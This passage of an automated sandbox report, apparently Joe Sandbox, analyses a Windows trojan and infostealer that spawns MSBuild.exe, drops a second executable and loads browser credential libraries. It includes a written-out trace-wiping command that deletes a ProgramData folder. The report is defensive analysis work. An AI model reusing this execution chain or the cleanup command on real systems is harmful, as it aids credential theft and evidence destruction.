Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC16C00	1_2_6CC16C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB5AC60	1_2_6CB5AC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC2AC30	1_2_6CC2AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB54DB0	1_2_6CB54DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCDCDC0	1_2_6CCDCDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBE6D90	1_2_6CBE6D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC7AD50	1_2_6CC7AD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CC1ED70	1_2_6CC1ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CCD8D20	1_2_6CCD8D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBD6E90	1_2_6CBD6E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CB5AEC0	1_2_6CB5AEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6CBF0EC0	1_2_6CBF0EC0
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_003020AD	8_2_003020AD
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0034A078	8_2_0034A078
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_003340E8	8_2_003340E8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_003600E8	8_2_003600E8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0036C118	8_2_0036C118
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00358468	8_2_00358468
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0035E4B8	8_2_0035E4B8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00332558	8_2_00332558
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00316615	8_2_00316615
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0035E6F8	8_2_0035E6F8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00366B38	8_2_00366B38
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00334DE8	8_2_00334DE8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0032EEF8	8_2_0032EEF8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00333148	8_2_00333148
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0036B1B8	8_2_0036B1B8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_003291CA	8_2_003291CA
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00329265	8_2_00329265
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0032925D	8_2_0032925D
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0032D248	8_2_0032D248
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0032F2A8	8_2_0032F2A8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0032D2E2	8_2_0032D2E2
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00329392	8_2_00329392
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00329461	8_2_00329461
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_003335D8	8_2_003335D8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0032B658	8_2_0032B658
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00355A23	8_2_00355A23
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00339A28	8_2_00339A28
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0036FAB8	8_2_0036FAB8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0032FCA8	8_2_0032FCA8
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00345CD6	8_2_00345CD6
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_00301E05	8_2_00301E05
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: 8_2_0036FF78	8_2_0036FF78

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CADCBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6CAE94D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004104E7 appears 38 times
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: String function: 00307A10 appears 51 times
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: String function: 00334BC8 appears 97 times
Source: C:\ProgramData\GCGHCBKFCF.exe	Code function: String function: 00336AA8 appears 171 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 005B7A10 appears 51 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6988 -s 304

Source: file.exe

Static PE information: invalid certificate

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: .data ZLIB complexity 0.9919345953525641
Source: GCGHCBKFCF.exe.1.dr	Static PE information: Section: .data ZLIB complexity 0.9911276223776224
Source: a43486128347[1].exe.1.dr	Static PE information: Section: .data ZLIB complexity 0.9911276223776224

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@14/37@13/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6CB07030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6CB07030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

1_2_004114A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear,

1_2_00411807

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\V9HM2KPN.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6212:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6988

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: C:\ProgramData\GCGHCBKFCF.exe	Command line argument: MZx	8_2_003020AD
Source: C:\ProgramData\GCGHCBKFCF.exe	Command line argument: MZx	8_2_003020AD
Source: C:\ProgramData\GCGHCBKFCF.exe	Command line argument: MZx	8_2_003020AD

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2489960212.000000001DD98000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2489960212.000000001DD98000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2489960212.000000001DD98000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2489960212.000000001DD98000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2489960212.000000001DD98000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2489960212.000000001DD98000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2489960212.000000001DD98000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: MSBuild.exe, 00000001.00000002.2503544477.000000003BE2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2489960212.000000001DD98000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2489960212.000000001DD98000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: AKJDGD.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2489960212.000000001DD98000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: MSBuild.exe, 00000001.00000002.2486359775.0000000017E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2489960212.000000001DD98000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: MSBuild.exe, 00000001.00000002.2498209531.000000002FF49000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 30%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6988 -s 304
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\GCGHCBKFCF.exe "C:\ProgramData\GCGHCBKFCF.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6988 -s 304
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\CAKFIJDHJEGI" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\ProgramData\GCGHCBKFCF.exe "C:\ProgramData\GCGHCBKFCF.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\CAKFIJDHJEGI" & exit	Jump to behavior
Source: C:\ProgramData\GCGHCBKFCF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\GCGHCBKFCF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

